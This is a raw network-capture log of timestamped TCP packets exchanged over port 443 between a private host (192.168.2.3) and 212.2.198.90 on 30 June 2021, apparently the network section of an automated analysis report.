Jun 30, 2021 20:06:08.272923946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272941113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272953033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272969961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272981882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273000002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273010015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273027897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273039103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273056984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273072004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273088932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273108006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273139000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273159981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273179054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273190975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273200989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273220062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273232937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273246050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273262978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273279905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273302078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273309946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273328066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273339033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273356915 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273374081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273395061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273401976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273420095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273432016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273453951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273462057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273471117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273488998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273505926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273519993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273536921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273550034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273564100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273576975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273597956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273605108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273618937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273633003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273648977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273663998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273679972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273691893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273720026 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273736954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273753881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273772001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273781061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273797989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273808002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273830891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273837090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273855925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273870945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273885012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273890018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273914099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273916960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273932934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273945093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273967028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.273973942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.273988962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274002075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274024963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274035931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274043083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274072886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274100065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274115086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274122953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274135113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274147987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274158001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274171114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274193048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274194002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274218082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274228096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274246931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274256945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274272919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274286985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274295092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274308920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274322033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274331093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274344921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274350882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274367094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274369955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274389982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274395943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274413109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274415970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274440050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274440050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274461985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274466038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274497986 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274499893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274514914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274522066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274543047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274547100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274569988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274574041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274595022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274605989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274619102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274621010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274641991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274647951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274662018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274673939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274698019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274708986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274723053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274735928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274740934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274748087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274770975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274775028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274795055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274801970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274818897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274822950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274846077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274848938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274864912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274874926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274900913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274904966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274924040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274930954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274955034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274965048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.274979115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.274987936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275002956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275012016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275027990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275032997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275055885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275067091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275075912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275083065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275106907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275110006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275136948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275156021 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275158882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275183916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275207043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275207996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275223970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275233984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275257111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275257111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275276899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275279999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275304079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275309086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275326967 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275329113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275351048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275353909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275372982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275387049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275399923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275410891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275434017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275444031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275465965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275475979 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275490999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275495052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275516033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275518894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275538921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275540113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275559902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275567055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275583029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275583982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275609016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275610924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275630951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275631905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275660038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275660992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275681973 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275685072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275706053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275731087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275789976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275810957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275839090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275846004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275856972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275873899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275897980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275909901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275922060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275933981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275944948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275957108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275969982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275979042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.275993109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.275998116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276015997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276026964 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276045084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276046991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276067972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276072025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276094913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276108980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276133060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276137114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276154041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276156902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276177883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276179075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276199102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276205063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276221991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276226997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276253939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276254892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276273012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276282072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276304007 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276313066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276336908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276350021 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276361942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276380062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276386023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276397943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276408911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276418924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276434898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276444912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276462078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276463032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276484966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276487112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276504040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276510954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276534081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276547909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276556015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276562929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276577950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276588917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276606083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276608944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276633024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276634932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276659012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276663065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276683092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276684046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276706934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276716948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276730061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276741028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276753902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276765108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276777983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276796103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276803017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276808023 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276824951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276835918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276853085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276859045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276876926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276878119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276900053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276902914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276926041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276932955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276949883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.276962996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276987076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.276999950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277009010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277019978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277040005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277043104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277064085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277067900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277091980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277091980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277113914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277117968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277143955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277143955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277160883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277173996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277194977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277195930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277215004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277220964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277244091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277249098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277266979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.277275085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277295113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.277312994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.345614910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.345647097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.345768929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.347665071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347700119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347718000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347733974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347734928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.347750902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347759008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.347769976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347803116 CEST	49720	443	192.168.2.3	212.2.198.90
